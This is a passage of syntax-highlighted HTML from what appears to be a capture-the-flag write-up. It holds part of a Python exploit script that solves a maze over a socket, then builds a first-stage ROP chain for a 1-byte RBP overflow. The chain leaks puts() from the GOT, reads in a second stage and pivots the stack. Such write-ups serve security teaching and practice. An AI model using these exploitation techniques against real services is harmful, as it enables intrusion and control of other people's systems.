class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">arr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">append<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-144\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-145\" class=\"crayon-line\"><span class=\"crayon-p\"># Create two-dimensional array for the maze data<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-146\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">maze<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">NONE <\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-i\">y<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">range<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">max_y<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-st\">for<\/span> <span class=\"crayon-i\">x<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">range<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">max_x<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-147\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-148\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Populate it with the occupied squares<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-149\" class=\"crayon-line\"><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">pos <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">arr<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-150\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-151\" class=\"crayon-line\"><span class=\"crayon-p\"># Mark the &#8220;winning&#8221; position<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-152\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">goal_x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">goal_y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">GOAL<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-153\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-154\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">None<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-155\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-156\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Solving maze&#8230;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-157\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-158\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">start_time<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">now<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-159\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-160\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-161\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-162\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">time_diff<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">now<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-v\">start_time<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">total_seconds<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-163\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-164\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Maze solved in %.3f seconds (%d steps)&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">time_diff<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-165\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-166\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-167\" class=\"crayon-line\"><span class=\"crayon-p\">### Connect to target and navigate through maze<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-168\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-169\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-170\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Connecting to target [%s:%d]&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-171\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-172\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">s<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">socket<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">socket<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-173\" class=\"crayon-line\"><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">connect<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-174\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">f<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">makefile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;rw&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">bufsize<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-175\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-176\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Navigating through maze&#8230;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-177\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-178\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">while<\/span> <span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-179\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">curr_pos<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-180\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># print curr_pos[0], curr_pos[1]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-181\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">next_pos<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-182\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">curr_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-v\">next_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-183\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">curr_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-v\">next_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-184\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;east\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-185\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-186\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;west\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-187\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-188\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">curr_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-v\">next_pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-189\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;south\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-190\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-191\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;north\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-192\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-193\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-194\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-195\" class=\"crayon-line\"><span class=\"crayon-e\">read_until<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;You can see the sun!\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-196\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-197\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-198\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">### Exploit the 1-byte RBP overflow: 1st stage ROP payload<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-199\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-200\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-201\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Exploiting 1-byte RBP overflow&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-202\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-203\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;1st stage ROP payload: Leak puts() address from GOT, read() 2nd stage&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-204\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-205\" class=\"crayon-line\"><span class=\"crayon-e\">read_until<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;If you want, you can also add your name: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-206\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-207\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-208\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-209\" class=\"crayon-line\"><span class=\"crayon-p\"># Populate RDI with the puts() GOT-entry address<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-210\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_pop_rdi_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-211\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">puts_got<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-212\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-213\" class=\"crayon-line\"><span class=\"crayon-p\"># Call puts(RDI) to leak the address<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-214\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># This will also set RDX as a side-effect<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-215\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">puts_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-216\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-217\" class=\"crayon-line\"><span class=\"crayon-p\"># Populate RDI with 0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-218\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_pop_rdi_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-219\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-220\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-221\" class=\"crayon-line\"><span class=\"crayon-p\"># Populate RSI with the scratch buffer address<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-222\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_pop_rsi_rxx_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-223\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">temp_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-224\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x1337<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-p\"># whatever<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-225\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-226\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Call read(RDI, RSI, RDX), reads in our 2nd stage ROP payload<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-227\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">read_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-228\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-229\" class=\"crayon-line\"><span class=\"crayon-p\"># Populate RBP with the scratch buffer address<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-230\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_pop_rbp_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-231\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">temp_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-232\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-233\" class=\"crayon-line\"><span class=\"crayon-p\"># Pivot stack, to our 2nd stage ROP payload<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-234\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage1<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_leave_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-235\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-236\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;A&#8221;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">7<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-237\" class=\"crayon-line\"><span class=\"crayon-st\">while<\/span> <span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1055<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rop_stage1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-238\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-239\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-240\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">rop_stage1<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-241\" class=\"crayon-line\"><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ljust<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1056<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">chr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-242\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-243\" class=\"crayon-line\"><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-244\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-245\" class=\"crayon-line\"><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setblocking<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-246\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">r<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">select<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">select<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">3.0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-247\" class=\"crayon-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-i\">s<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Exploit failed (timeout), try again!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-248\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setblocking<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-249\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-250\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">6<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-251\" class=\"crayon-line\"><span class=\"crayon-st\">if<\/span> <span 